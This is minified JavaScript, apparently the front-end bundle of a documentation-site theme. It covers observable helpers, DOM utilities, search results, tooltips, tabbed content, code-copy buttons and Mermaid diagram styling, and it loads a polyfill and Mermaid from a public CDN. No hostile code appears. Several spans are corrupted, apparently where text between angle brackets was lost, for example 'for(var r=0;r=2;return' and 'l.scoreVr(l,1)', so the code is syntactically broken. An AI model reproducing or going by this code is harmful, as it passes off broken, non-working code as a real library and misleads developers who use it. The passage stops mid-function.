Wi(){return typeof Symbol!="function"||!Symbol.iterator?"@@iterator":Symbol.iterator}var Xt=Wi();function Zt(e){return k(e==null?void 0:e[Xt])}function er(e){return co(this,arguments,function(){var r,o,n,i;return Wt(this,function(s){switch(s.label){case 0:r=e.getReader(),s.label=1;case 1:s.trys.push([1,,9,10]),s.label=2;case 2:return[4,ot(r.read())];case 3:return o=s.sent(),n=o.value,i=o.done,i?[4,ot(void 0)]:[3,5];case 4:return[2,s.sent()];case 5:return[4,ot(n)];case 6:return[4,s.sent()];case 7:return s.sent(),[3,2];case 8:return[3,10];case 9:return r.releaseLock(),[7];case 10:return[2]}})})}function tr(e){return k(e==null?void 0:e.getReader)}function F(e){if(e instanceof I)return e;if(e!=null){if(Bt(e))return Ui(e);if(dt(e))return Ni(e);if(Yt(e))return Di(e);if(Gt(e))return To(e);if(Zt(e))return Vi(e);if(tr(e))return zi(e)}throw Jt(e)}function Ui(e){return new I(function(t){var r=e[ft]();if(k(r.subscribe))return r.subscribe(t);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}function Ni(e){return new I(function(t){for(var r=0;r=2;return function(o){return o.pipe(e?v(function(n,i){return e(n,i,o)}):pe,ue(1),r?$e(t):Uo(function(){return new or}))}}function Rr(e){return e<=0?function(){return M}:g(function(t,r){var o=[];t.subscribe(E(r,function(n){o.push(n),e=2,!0))}function de(e){e===void 0&&(e={});var t=e.connector,r=t===void 0?function(){return new x}:t,o=e.resetOnError,n=o===void 0?!0:o,i=e.resetOnComplete,s=i===void 0?!0:i,a=e.resetOnRefCountZero,c=a===void 0?!0:a;return function(p){var l,f,u,d=0,y=!1,b=!1,D=function(){f==null||f.unsubscribe(),f=void 0},Q=function(){D(),l=u=void 0,y=b=!1},J=function(){var C=l;Q(),C==null||C.unsubscribe()};return g(function(C,ct){d++,!b&&!y&&D();var Ve=u=u!=null?u:r();ct.add(function(){d--,d===0&&!b&&!y&&(f=jr(J,c))}),Ve.subscribe(ct),!l&&d>0&&(l=new it({next:function(Fe){return Ve.next(Fe)},error:function(Fe){b=!0,D(),f=jr(Q,n,Fe),Ve.error(Fe)},complete:function(){y=!0,D(),f=jr(Q,s),Ve.complete()}}),F(C).subscribe(l))})(p)}}function jr(e,t){for(var r=[],o=2;oe.next(document)),e}function W(e,t=document){return Array.from(t.querySelectorAll(e))}function U(e,t=document){let r=ce(e,t);if(typeof r=="undefined")throw new ReferenceError(`Missing element: expected "${e}" to be present`);return r}function ce(e,t=document){return t.querySelector(e)||void 0}function Ie(){return document.activeElement instanceof HTMLElement&&document.activeElement||void 0}var ca=L(h(document.body,"focusin"),h(document.body,"focusout")).pipe(ye(1),q(void 0),m(()=>Ie()||document.body),Z(1));function vt(e){return ca.pipe(m(t=>e.contains(t)),X())}function qo(e,t){return L(h(e,"mouseenter").pipe(m(()=>!0)),h(e,"mouseleave").pipe(m(()=>!1))).pipe(t?ye(t):pe,q(!1))}function Ue(e){return{x:e.offsetLeft,y:e.offsetTop}}function Ko(e){return L(h(window,"load"),h(window,"resize")).pipe(Le(0,ge),m(()=>Ue(e)),q(Ue(e)))}function ir(e){return{x:e.scrollLeft,y:e.scrollTop}}function et(e){return L(h(e,"scroll"),h(window,"resize")).pipe(Le(0,ge),m(()=>ir(e)),q(ir(e)))}function Qo(e,t){if(typeof t=="string"||typeof t=="number")e.innerHTML+=t.toString();else if(t instanceof Node)e.appendChild(t);else if(Array.isArray(t))for(let r of t)Qo(e,r)}function S(e,t,...r){let o=document.createElement(e);if(t)for(let n of Object.keys(t))typeof t[n]!="undefined"&&(typeof t[n]!="boolean"?o.setAttribute(n,t[n]):o.setAttribute(n,""));for(let n of r)Qo(o,n);return o}function ar(e){if(e>999){let t=+((e-950)%1e3>99);return`${((e+1e-6)/1e3).toFixed(t)}k`}else return e.toString()}function gt(e){let t=S("script",{src:e});return H(()=>(document.head.appendChild(t),L(h(t,"load"),h(t,"error").pipe(w(()=>kr(()=>new ReferenceError(`Invalid script: ${e}`))))).pipe(m(()=>{}),A(()=>document.head.removeChild(t)),ue(1))))}var Yo=new x,pa=H(()=>typeof ResizeObserver=="undefined"?gt("https://unpkg.com/resize-observer-polyfill"):R(void 0)).pipe(m(()=>new ResizeObserver(e=>{for(let t of e)Yo.next(t)})),w(e=>L(Ke,R(e)).pipe(A(()=>e.disconnect()))),Z(1));function le(e){return{width:e.offsetWidth,height:e.offsetHeight}}function Se(e){return pa.pipe(T(t=>t.observe(e)),w(t=>Yo.pipe(v(({target:r})=>r===e),A(()=>t.unobserve(e)),m(()=>le(e)))),q(le(e)))}function xt(e){return{width:e.scrollWidth,height:e.scrollHeight}}function sr(e){let t=e.parentElement;for(;t&&(e.scrollWidth<=t.scrollWidth&&e.scrollHeight<=t.scrollHeight);)t=(e=t).parentElement;return t?e:void 0}var Bo=new x,la=H(()=>R(new IntersectionObserver(e=>{for(let t of e)Bo.next(t)},{threshold:0}))).pipe(w(e=>L(Ke,R(e)).pipe(A(()=>e.disconnect()))),Z(1));function yt(e){return la.pipe(T(t=>t.observe(e)),w(t=>Bo.pipe(v(({target:r})=>r===e),A(()=>t.unobserve(e)),m(({isIntersecting:r})=>r))))}function Go(e,t=16){return et(e).pipe(m(({y:r})=>{let o=le(e),n=xt(e);return r>=n.height-o.height-t}),X())}var cr={drawer:U("[data-md-toggle=drawer]"),search:U("[data-md-toggle=search]")};function Jo(e){return cr[e].checked}function Ye(e,t){cr[e].checked!==t&&cr[e].click()}function Ne(e){let t=cr[e];return h(t,"change").pipe(m(()=>t.checked),q(t.checked))}function ma(e,t){switch(e.constructor){case HTMLInputElement:return e.type==="radio"?/^Arrow/.test(t):!0;case HTMLSelectElement:case HTMLTextAreaElement:return!0;default:return e.isContentEditable}}function fa(){return L(h(window,"compositionstart").pipe(m(()=>!0)),h(window,"compositionend").pipe(m(()=>!1))).pipe(q(!1))}function Xo(){let e=h(window,"keydown").pipe(v(t=>!(t.metaKey||t.ctrlKey)),m(t=>({mode:Jo("search")?"search":"global",type:t.key,claim(){t.preventDefault(),t.stopPropagation()}})),v(({mode:t,type:r})=>{if(t==="global"){let o=Ie();if(typeof o!="undefined")return!ma(o,r)}return!0}),de());return fa().pipe(w(t=>t?M:e))}function me(){return new URL(location.href)}function st(e,t=!1){if(G("navigation.instant")&&!t){let r=S("a",{href:e.href});document.body.appendChild(r),r.click(),r.remove()}else location.href=e.href}function Zo(){return new x}function en(){return location.hash.slice(1)}function pr(e){let t=S("a",{href:e});t.addEventListener("click",r=>r.stopPropagation()),t.click()}function ua(e){return L(h(window,"hashchange"),e).pipe(m(en),q(en()),v(t=>t.length>0),Z(1))}function tn(e){return ua(e).pipe(m(t=>ce(`[id="${t}"]`)),v(t=>typeof t!="undefined"))}function At(e){let t=matchMedia(e);return nr(r=>t.addListener(()=>r(t.matches))).pipe(q(t.matches))}function rn(){let e=matchMedia("print");return L(h(window,"beforeprint").pipe(m(()=>!0)),h(window,"afterprint").pipe(m(()=>!1))).pipe(q(e.matches))}function Dr(e,t){return e.pipe(w(r=>r?t():M))}function lr(e,t){return new I(r=>{let o=new XMLHttpRequest;o.open("GET",`${e}`),o.responseType="blob",o.addEventListener("load",()=>{o.status>=200&&o.status<300?(r.next(o.response),r.complete()):r.error(new Error(o.statusText))}),o.addEventListener("error",()=>{r.error(new Error("Network Error"))}),o.addEventListener("abort",()=>{r.error(new Error("Request aborted"))}),typeof(t==null?void 0:t.progress$)!="undefined"&&(o.addEventListener("progress",n=>{if(n.lengthComputable)t.progress$.next(n.loaded/n.total*100);else{let i=Number(o.getResponseHeader("Content-Length"))||0;t.progress$.next(n.loaded/i*100)}}),t.progress$.next(5)),o.send()})}function De(e,t){return lr(e,t).pipe(w(r=>r.text()),m(r=>JSON.parse(r)),Z(1))}function on(e,t){let r=new DOMParser;return lr(e,t).pipe(w(o=>o.text()),m(o=>r.parseFromString(o,"text/xml")),Z(1))}function nn(){return{x:Math.max(0,scrollX),y:Math.max(0,scrollY)}}function an(){return L(h(window,"scroll",{passive:!0}),h(window,"resize",{passive:!0})).pipe(m(nn),q(nn()))}function sn(){return{width:innerWidth,height:innerHeight}}function cn(){return h(window,"resize",{passive:!0}).pipe(m(sn),q(sn()))}function pn(){return B([an(),cn()]).pipe(m(([e,t])=>({offset:e,size:t})),Z(1))}function mr(e,{viewport$:t,header$:r}){let o=t.pipe(te("size")),n=B([o,r]).pipe(m(()=>Ue(e)));return B([r,t,n]).pipe(m(([{height:i},{offset:s,size:a},{x:c,y:p}])=>({offset:{x:s.x-c,y:s.y-p+i},size:a})))}function da(e){return h(e,"message",t=>t.data)}function ha(e){let t=new x;return t.subscribe(r=>e.postMessage(r)),t}function ln(e,t=new Worker(e)){let r=da(t),o=ha(t),n=new x;n.subscribe(o);let i=o.pipe(ee(),oe(!0));return n.pipe(ee(),Re(r.pipe(j(i))),de())}var ba=U("#__config"),Et=JSON.parse(ba.textContent);Et.base=`${new URL(Et.base,me())}`;function he(){return Et}function G(e){return Et.features.includes(e)}function we(e,t){return typeof t!="undefined"?Et.translations[e].replace("#",t.toString()):Et.translations[e]}function Oe(e,t=document){return U(`[data-md-component=${e}]`,t)}function ne(e,t=document){return W(`[data-md-component=${e}]`,t)}function va(e){let t=U(".md-typeset > :first-child",e);return h(t,"click",{once:!0}).pipe(m(()=>U(".md-typeset",e)),m(r=>({hash:__md_hash(r.innerHTML)})))}function mn(e){if(!G("announce.dismiss")||!e.childElementCount)return M;if(!e.hidden){let t=U(".md-typeset",e);__md_hash(t.innerHTML)===__md_get("__announce")&&(e.hidden=!0)}return H(()=>{let t=new x;return t.subscribe(({hash:r})=>{e.hidden=!0,__md_set("__announce",r)}),va(e).pipe(T(r=>t.next(r)),A(()=>t.complete()),m(r=>P({ref:e},r)))})}function ga(e,{target$:t}){return t.pipe(m(r=>({hidden:r!==e})))}function fn(e,t){let r=new x;return r.subscribe(({hidden:o})=>{e.hidden=o}),ga(e,t).pipe(T(o=>r.next(o)),A(()=>r.complete()),m(o=>P({ref:e},o)))}function Ct(e,t){return t==="inline"?S("div",{class:"md-tooltip md-tooltip--inline",id:e,role:"tooltip"},S("div",{class:"md-tooltip__inner md-typeset"})):S("div",{class:"md-tooltip",id:e,role:"tooltip"},S("div",{class:"md-tooltip__inner md-typeset"}))}function un(e,t){if(t=t?`${t}_annotation_${e}`:void 0,t){let r=t?`#${t}`:void 0;return S("aside",{class:"md-annotation",tabIndex:0},Ct(t),S("a",{href:r,class:"md-annotation__index",tabIndex:-1},S("span",{"data-md-annotation-id":e})))}else return S("aside",{class:"md-annotation",tabIndex:0},Ct(t),S("span",{class:"md-annotation__index",tabIndex:-1},S("span",{"data-md-annotation-id":e})))}function dn(e){return S("button",{class:"md-clipboard md-icon",title:we("clipboard.copy"),"data-clipboard-target":`#${e} > code`})}function Vr(e,t){let r=t&2,o=t&1,n=Object.keys(e.terms).filter(c=>!e.terms[c]).reduce((c,p)=>[...c,S("del",null,p)," "],[]).slice(0,-1),i=he(),s=new URL(e.location,i.base);G("search.highlight")&&s.searchParams.set("h",Object.entries(e.terms).filter(([,c])=>c).reduce((c,[p])=>`${c} ${p}`.trim(),""));let{tags:a}=he();return S("a",{href:`${s}`,class:"md-search-result__link",tabIndex:-1},S("article",{class:"md-search-result__article md-typeset","data-md-score":e.score.toFixed(2)},r>0&&S("div",{class:"md-search-result__icon md-icon"}),r>0&&S("h1",null,e.title),r<=0&&S("h2",null,e.title),o>0&&e.text.length>0&&e.text,e.tags&&e.tags.map(c=>{let p=a?c in a?`md-tag-icon md-tag--${a[c]}`:"md-tag-icon":"";return S("span",{class:`md-tag ${p}`},c)}),o>0&&n.length>0&&S("p",{class:"md-search-result__terms"},we("search.result.term.missing"),": ",...n)))}function hn(e){let t=e[0].score,r=[...e],o=he(),n=r.findIndex(l=>!`${new URL(l.location,o.base)}`.includes("#")),[i]=r.splice(n,1),s=r.findIndex(l=>l.scoreVr(l,1)),...c.length?[S("details",{class:"md-search-result__more"},S("summary",{tabIndex:-1},S("div",null,c.length>0&&c.length===1?we("search.result.more.one"):we("search.result.more.other",c.length))),...c.map(l=>Vr(l,1)))]:[]];return S("li",{class:"md-search-result__item"},p)}function bn(e){return S("ul",{class:"md-source__facts"},Object.entries(e).map(([t,r])=>S("li",{class:`md-source__fact md-source__fact--${t}`},typeof r=="number"?ar(r):r)))}function zr(e){let t=`tabbed-control tabbed-control--${e}`;return S("div",{class:t,hidden:!0},S("button",{class:"tabbed-button",tabIndex:-1,"aria-hidden":"true"}))}function vn(e){return S("div",{class:"md-typeset__scrollwrap"},S("div",{class:"md-typeset__table"},e))}function xa(e){let t=he(),r=new URL(`../${e.version}/`,t.base);return S("li",{class:"md-version__item"},S("a",{href:`${r}`,class:"md-version__link"},e.title))}function gn(e,t){return S("div",{class:"md-version"},S("button",{class:"md-version__current","aria-label":we("select.version")},t.title),S("ul",{class:"md-version__list"},e.map(xa)))}var ya=0;function Ea(e,t){document.body.append(e);let{width:r}=le(e);e.style.setProperty("--md-tooltip-width",`${r}px`),e.remove();let o=sr(t),n=typeof o!="undefined"?et(o):R({x:0,y:0}),i=L(vt(t),qo(t)).pipe(X());return B([i,n]).pipe(m(([s,a])=>{let{x:c,y:p}=Ue(t),l=le(t),f=t.closest("table");return f&&t.parentElement&&(c+=f.offsetLeft+t.parentElement.offsetLeft,p+=f.offsetTop+t.parentElement.offsetTop),{active:s,offset:{x:c-a.x+l.width/2-r/2,y:p-a.y+l.height+8}}}))}function Be(e){let t=e.title;if(!t.length)return M;let r=`__tooltip_${ya++}`,o=Ct(r,"inline"),n=U(".md-typeset",o);return n.innerHTML=t,H(()=>{let i=new x;return i.subscribe({next({offset:s}){o.style.setProperty("--md-tooltip-x",`${s.x}px`),o.style.setProperty("--md-tooltip-y",`${s.y}px`)},complete(){o.style.removeProperty("--md-tooltip-x"),o.style.removeProperty("--md-tooltip-y")}}),L(i.pipe(v(({active:s})=>s)),i.pipe(ye(250),v(({active:s})=>!s))).subscribe({next({active:s}){s?(e.insertAdjacentElement("afterend",o),e.setAttribute("aria-describedby",r),e.removeAttribute("title")):(o.remove(),e.removeAttribute("aria-describedby"),e.setAttribute("title",t))},complete(){o.remove(),e.removeAttribute("aria-describedby"),e.setAttribute("title",t)}}),i.pipe(Le(16,ge)).subscribe(({active:s})=>{o.classList.toggle("md-tooltip--active",s)}),i.pipe(_t(125,ge),v(()=>!!e.offsetParent),m(()=>e.offsetParent.getBoundingClientRect()),m(({x:s})=>s)).subscribe({next(s){s?o.style.setProperty("--md-tooltip-0",`${-s}px`):o.style.removeProperty("--md-tooltip-0")},complete(){o.style.removeProperty("--md-tooltip-0")}}),Ea(o,e).pipe(T(s=>i.next(s)),A(()=>i.complete()),m(s=>P({ref:e},s)))}).pipe(qe(ie))}function wa(e,t){let r=H(()=>B([Ko(e),et(t)])).pipe(m(([{x:o,y:n},i])=>{let{width:s,height:a}=le(e);return{x:o-i.x+s/2,y:n-i.y+a/2}}));return vt(e).pipe(w(o=>r.pipe(m(n=>({active:o,offset:n})),ue(+!o||1/0))))}function xn(e,t,{target$:r}){let[o,n]=Array.from(e.children);return H(()=>{let i=new x,s=i.pipe(ee(),oe(!0));return i.subscribe({next({offset:a}){e.style.setProperty("--md-tooltip-x",`${a.x}px`),e.style.setProperty("--md-tooltip-y",`${a.y}px`)},complete(){e.style.removeProperty("--md-tooltip-x"),e.style.removeProperty("--md-tooltip-y")}}),yt(e).pipe(j(s)).subscribe(a=>{e.toggleAttribute("data-md-visible",a)}),L(i.pipe(v(({active:a})=>a)),i.pipe(ye(250),v(({active:a})=>!a))).subscribe({next({active:a}){a?e.prepend(o):o.remove()},complete(){e.prepend(o)}}),i.pipe(Le(16,ge)).subscribe(({active:a})=>{o.classList.toggle("md-tooltip--active",a)}),i.pipe(_t(125,ge),v(()=>!!e.offsetParent),m(()=>e.offsetParent.getBoundingClientRect()),m(({x:a})=>a)).subscribe({next(a){a?e.style.setProperty("--md-tooltip-0",`${-a}px`):e.style.removeProperty("--md-tooltip-0")},complete(){e.style.removeProperty("--md-tooltip-0")}}),h(n,"click").pipe(j(s),v(a=>!(a.metaKey||a.ctrlKey))).subscribe(a=>{a.stopPropagation(),a.preventDefault()}),h(n,"mousedown").pipe(j(s),ae(i)).subscribe(([a,{active:c}])=>{var p;if(a.button!==0||a.metaKey||a.ctrlKey)a.preventDefault();else if(c){a.preventDefault();let l=e.parentElement.closest(".md-annotation");l instanceof HTMLElement?l.focus():(p=Ie())==null||p.blur()}}),r.pipe(j(s),v(a=>a===o),Qe(125)).subscribe(()=>e.focus()),wa(e,t).pipe(T(a=>i.next(a)),A(()=>i.complete()),m(a=>P({ref:e},a)))})}function Ta(e){return e.tagName==="CODE"?W(".c, .c1, .cm",e):[e]}function Sa(e){let t=[];for(let r of Ta(e)){let o=[],n=document.createNodeIterator(r,NodeFilter.SHOW_TEXT);for(let i=n.nextNode();i;i=n.nextNode())o.push(i);for(let i of o){let s;for(;s=/(\(\d+\))(!)?/.exec(i.textContent);){let[,a,c]=s;if(typeof c=="undefined"){let p=i.splitText(s.index);i=p.splitText(a.length),t.push(p)}else{i.textContent=a,t.push(i);break}}}}return t}function yn(e,t){t.append(...Array.from(e.childNodes))}function fr(e,t,{target$:r,print$:o}){let n=t.closest("[id]"),i=n==null?void 0:n.id,s=new Map;for(let a of Sa(t)){let[,c]=a.textContent.match(/\((\d+)\)/);ce(`:scope > li:nth-child(${c})`,e)&&(s.set(c,un(c,i)),a.replaceWith(s.get(c)))}return s.size===0?M:H(()=>{let a=new x,c=a.pipe(ee(),oe(!0)),p=[];for(let[l,f]of s)p.push([U(".md-typeset",f),U(`:scope > li:nth-child(${l})`,e)]);return o.pipe(j(c)).subscribe(l=>{e.hidden=!l,e.classList.toggle("md-annotation-list",l);for(let[f,u]of p)l?yn(f,u):yn(u,f)}),L(...[...s].map(([,l])=>xn(l,t,{target$:r}))).pipe(A(()=>a.complete()),de())})}function En(e){if(e.nextElementSibling){let t=e.nextElementSibling;if(t.tagName==="OL")return t;if(t.tagName==="P"&&!t.children.length)return En(t)}}function wn(e,t){return H(()=>{let r=En(e);return typeof r!="undefined"?fr(r,e,t):M})}var Tn=jt(Kr());var Oa=0;function Sn(e){if(e.nextElementSibling){let t=e.nextElementSibling;if(t.tagName==="OL")return t;if(t.tagName==="P"&&!t.children.length)return Sn(t)}}function Ma(e){return Se(e).pipe(m(({width:t})=>({scrollable:xt(e).width>t})),te("scrollable"))}function On(e,t){let{matches:r}=matchMedia("(hover)"),o=H(()=>{let n=new x,i=n.pipe(Rr(1));n.subscribe(({scrollable:c})=>{c&&r?e.setAttribute("tabindex","0"):e.removeAttribute("tabindex")});let s=[];if(Tn.default.isSupported()&&(e.closest(".copy")||G("content.code.copy")&&!e.closest(".no-copy"))){let c=e.closest("pre");c.id=`__code_${Oa++}`;let p=dn(c.id);c.insertBefore(p,e),G("content.tooltips")&&s.push(Be(p))}let a=e.closest(".highlight");if(a instanceof HTMLElement){let c=Sn(a);if(typeof c!="undefined"&&(a.classList.contains("annotate")||G("content.code.annotate"))){let p=fr(c,e,t);s.push(Se(a).pipe(j(i),m(({width:l,height:f})=>l&&f),X(),w(l=>l?p:M)))}}return Ma(e).pipe(T(c=>n.next(c)),A(()=>n.complete()),m(c=>P({ref:e},c)),Re(...s))});return G("content.lazy")?yt(e).pipe(v(n=>n),ue(1),w(()=>o)):o}function La(e,{target$:t,print$:r}){let o=!0;return L(t.pipe(m(n=>n.closest("details:not([open])")),v(n=>e===n),m(()=>({action:"open",reveal:!0}))),r.pipe(v(n=>n||!o),T(()=>o=e.open),m(n=>({action:n?"open":"close"}))))}function Mn(e,t){return H(()=>{let r=new x;return r.subscribe(({action:o,reveal:n})=>{e.toggleAttribute("open",o==="open"),n&&e.scrollIntoView()}),La(e,t).pipe(T(o=>r.next(o)),A(()=>r.complete()),m(o=>P({ref:e},o)))})}var Ln=".node circle,.node ellipse,.node path,.node polygon,.node rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}marker{fill:var(--md-mermaid-edge-color)!important}.edgeLabel .label rect{fill:#0000}.label{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.label foreignObject{line-height:normal;overflow:visible}.label div .edgeLabel{color:var(--md-mermaid-label-fg-color)}.edgeLabel,.edgeLabel rect,.label div .edgeLabel{background-color:var(--md-mermaid-label-bg-color)}.edgeLabel,.edgeLabel rect{fill:var(--md-mermaid-label-bg-color);color:var(--md-mermaid-edge-color)}.edgePath .path,.flowchart-link{stroke:var(--md-mermaid-edge-color);stroke-width:.05rem}.edgePath .arrowheadPath{fill:var(--md-mermaid-edge-color);stroke:none}.cluster rect{fill:var(--md-default-fg-color--lightest);stroke:var(--md-default-fg-color--lighter)}.cluster span{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}g #flowchart-circleEnd,g #flowchart-circleStart,g #flowchart-crossEnd,g #flowchart-crossStart,g #flowchart-pointEnd,g #flowchart-pointStart{stroke:none}g.classGroup line,g.classGroup rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}g.classGroup text{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.classLabel .box{fill:var(--md-mermaid-label-bg-color);background-color:var(--md-mermaid-label-bg-color);opacity:1}.classLabel .label{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.node .divider{stroke:var(--md-mermaid-node-fg-color)}.relation{stroke:var(--md-mermaid-edge-color)}.cardinality{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.cardinality text{fill:inherit!important}defs #classDiagram-compositionEnd,defs #classDiagram-compositionStart,defs #classDiagram-dependencyEnd,defs #classDiagram-dependencyStart,defs #classDiagram-extensionEnd,defs #classDiagram-extensionStart{fill:var(--md-mermaid-edge-color)!important;stroke:var(--md-mermaid-edge-color)!important}defs #classDiagram-aggregationEnd,defs #classDiagram-aggregationStart{fill:var(--md-mermaid-label-bg-color)!important;stroke:var(--md-mermaid-edge-color)!important}g.stateGroup rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}g.stateGroup .state-title{fill:var(--md-mermaid-label-fg-color)!important;font-family:var(--md-mermaid-font-family)}g.stateGroup .composit{fill:var(--md-mermaid-label-bg-color)}.nodeLabel{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.node circle.state-end,.node circle.state-start,.start-state{fill:var(--md-mermaid-edge-color);stroke:none}.end-state-inner,.end-state-outer{fill:var(--md-mermaid-edge-color)}.end-state-inner,.node circle.state-end{stroke:var(--md-mermaid-label-bg-color)}.transition{stroke:var(--md-mermaid-edge-color)}[id^=state-fork] rect,[id^=state-join] rect{fill:var(--md-mermaid-edge-color)!important;stroke:none!important}.statediagram-cluster.statediagram-cluster .inner{fill:var(--md-default-bg-color)}.statediagram-cluster rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}.statediagram-state rect.divider{fill:var(--md-default-fg-color--lightest);stroke:var(--md-default-fg-color--lighter)}defs #statediagram-barbEnd{stroke:var(--md-mermaid-edge-color)}.attributeBoxEven,.attributeBoxOdd{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}.entityBox{fill:var(--md-mermaid-label-bg-color);stroke:var(--md-mermaid-node-fg-color)}.entityLabel{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.relationshipLabelBox{fill:var(--md-mermaid-label-bg-color);fill-opacity:1;background-color:var(--md-mermaid-label-bg-color);opacity:1}.relationshipLabel{fill:var(--md-mermaid-label-fg-color)}.relationshipLine{stroke:var(--md-mermaid-edge-color)}defs #ONE_OR_MORE_END *,defs #ONE_OR_MORE_START *,defs #ONLY_ONE_END *,defs #ONLY_ONE_START *,defs #ZERO_OR_MORE_END *,defs #ZERO_OR_MORE_START *,defs #ZERO_OR_ONE_END *,defs #ZERO_OR_ONE_START *{stroke:var(--md-mermaid-edge-color)!important}defs #ZERO_OR_MORE_END circle,defs #ZERO_OR_MORE_START circle{fill:var(--md-mermaid-label-bg-color)}.actor{fill:var(--md-mermaid-sequence-actor-bg-color);stroke:var(--md-mermaid-sequence-actor-border-color)}text.actor>tspan{fill:var(--md-mermaid-sequence-actor-fg-color);font-family:var(--md-mermaid-font-family)}line{stroke:var(--md-mermaid-sequence-actor-line-color)}.actor-man circle,.actor-man line{fill:var(--md-mermaid-sequence-actorman-bg-color);stroke:var(--md-mermaid-sequence-actorman-line-color)}.messageLine0,.messageLine1{stroke:var(--md-mermaid-sequence-message-line-color)}.note{fill:var(--md-mermaid-sequence-note-bg-color);stroke:var(--md-mermaid-sequence-note-border-color)}.loopText,.loopText>tspan,.messageText,.noteText>tspan{stroke:none;font-family:var(--md-mermaid-font-family)!important}.messageText{fill:var(--md-mermaid-sequence-message-fg-color)}.loopText,.loopText>tspan{fill:var(--md-mermaid-sequence-loop-fg-color)}.noteText>tspan{fill:var(--md-mermaid-sequence-note-fg-color)}#arrowhead path{fill:var(--md-mermaid-sequence-message-line-color);stroke:none}.loopLine{fill:var(--md-mermaid-sequence-loop-bg-color);stroke:var(--md-mermaid-sequence-loop-border-color)}.labelBox{fill:var(--md-mermaid-sequence-label-bg-color);stroke:none}.labelText,.labelText>span{fill:var(--md-mermaid-sequence-label-fg-color);font-family:var(--md-mermaid-font-family)}.sequenceNumber{fill:var(--md-mermaid-sequence-number-fg-color)}rect.rect{fill:var(--md-mermaid-sequence-box-bg-color);stroke:none}rect.rect+text.text{fill:var(--md-mermaid-sequence-box-fg-color)}defs #sequencenumber{fill:var(--md-mermaid-sequence-number-bg-color)!important}";var Qr,Aa=0;function Ca(){return typeof mermaid=="undefined"||mermaid instanceof Element?gt("https://unpkg.com/mermaid@10.6.1/dist/mermaid.min.js"):R(void 0)}function _n(e){return e.classList.remove("mermaid"),Qr||(Qr=Ca().pipe(T(()=>mermaid.initialize({startOnLoad:!1,themeCSS:Ln,sequence:{actorFontSize:"16px",messageFontSize:"16px",noteFontSize:"16px"}})),m(()=>{}),Z(1))),Qr.subscribe(()=>no(this,null,function*(){e.classList.add("mermaid");let t=`__mermaid_${Aa++}`,r=S("div",{class:"mermaid"}),o=e.textContent,{svg:n,fn:i}=yield mermaid.render(t,o),s=r.attachShadow({mode:"closed"});s.innerHTML=n,e.replaceWith(r),i==null||i(s)})),Qr.pipe(m(()=>({ref:e})))}var An=S("table");function Cn(e){return e.replaceWith(An),An.replaceWith(vn(e)),R({ref:e})}function ka(e){let t=e.find(r=>r.checked)||e[0];return L(...e.map(r=>h(r,"change").pipe(m(()=>U(`label[for="${r.id}"]`))))).pipe(q(U(`label[for="${t.id}"]`)),m(r=>({active:r})))}function kn(e,{viewport$:t,target$:r}){let o=U(".tabbed-labels",e),n=W(":scope > input",e),i=zr("prev");e.append(i);let s=zr("next");return e.append(s),H(()=>{let a=new x,c=a.pipe(ee(),oe(!0));B([a,Se(e)]).pipe(j(c),Le(1,ge)).subscribe({next([{active:p},l]){let f=Ue(p),{width:u}=le(p);e.style.setProperty("--md-indicator-x",`${f.x}px`),e.style.setProperty("--md-indicator-width",`${u}px`);let d=ir(o);(f.xd.x+l.width)&&o.scrollTo({left:Math.max(0,f.x-16),behavior:"smooth"})},complete(){e.style.removeProperty("--md-indicator-x"),e.style.removeProperty("--md-indicator-width")}}),B([et(o),Se(o)]).pipe(j(c)).subscribe(([p,l])=>{let f=xt(o);i.hidden=p.x<16,s.hidden=p.x>f.width-l.width-16}),L(h(i,"click").pipe(m(()=>-1)),h(s,"click").pipe(m(()=>1))).pipe(j(c)).subscribe(p=>{let{width:l}=le(o);o.scrollBy({left:l*p,behavior:"smooth"})}),r.pipe(j(c),v(p=>n.includes(p))).subscribe(p=>p.click()),o.classList.add("tabbed-labels--linked");for(let p of n){let l=U(`label[for="${p.id}"]`);l.replaceChildren(S("a",{href:`#${l.htmlFor}`,tabIndex:-1},...Array.from(l.childNodes))),h(l.firstElementChild,"click").pipe(j(c),v(f=>!(f.metaKey||f.ctrlKey)),T(f=>{f.preventDefault(),f.stopPropagation()})).subscribe(()=>{history.replaceState({},"",`#${l.htmlFor}`),l.click()})}return G("content.tabs.link")&&a.pipe(Ee(1),ae(t)).subscribe(([{active:p},{offset:l}])=>{let f=p.innerText.trim();if(p.hasAttribute("data-md-switching"))p.removeAttribute("data-md-switching");else{let u=e.offsetTop-l.y;for(let y of W("[data-tabs]"))for(let b of W(":scope > input",y)){let D=U(`label[for="${b.id}"]`);if(D!==p&&D.innerText.trim()===f){D.setAttribute("data-md-switching",""),b.click();break}}window.scrollTo({top:e.offsetTop-u});let d=__md_get("__tabs")||[];__md_set("__tabs",[...new Set([f,...d])])}}),a.pipe(j(c)).subscribe(()=>{for(let p of W("audio, video",e))p.pause()}),ka(n).pipe(T(p=>a.next(p)),A(()=>a.complete()),m(p=>P({ref:e},p)))}).pipe(qe(ie))}function Hn(e,{viewport$:t,target$:r,print$:o}){return L(...W(".annotate:not(.highlight)",e).map(n=>wn(n,{target$:r,print$:o})),...W("pre:not(.mermaid) > code",e).map(n=>On(n,{target$:r,print$:o})),...W("pre.mermaid",e).map(n=>_n(n)),...W("table:not([class])",e).map(n=>Cn(n)),...W("details",e).map(n=>Mn(n,{target$:r,print$:o})),...W("[data-tabs]",e).map(n=>kn(n,{viewport$:t,target$:r})),...W("[title]",e).filter(()=>G("content.tooltips")).map(n=>Be(n)))}function Ha(e,{alert$:t}){return t.pipe(w(r=>L(R(!0),R(!1).pipe(Qe(2e3))).pipe(m(o=>({message:r,active:o})))))}function $n(e,t){let 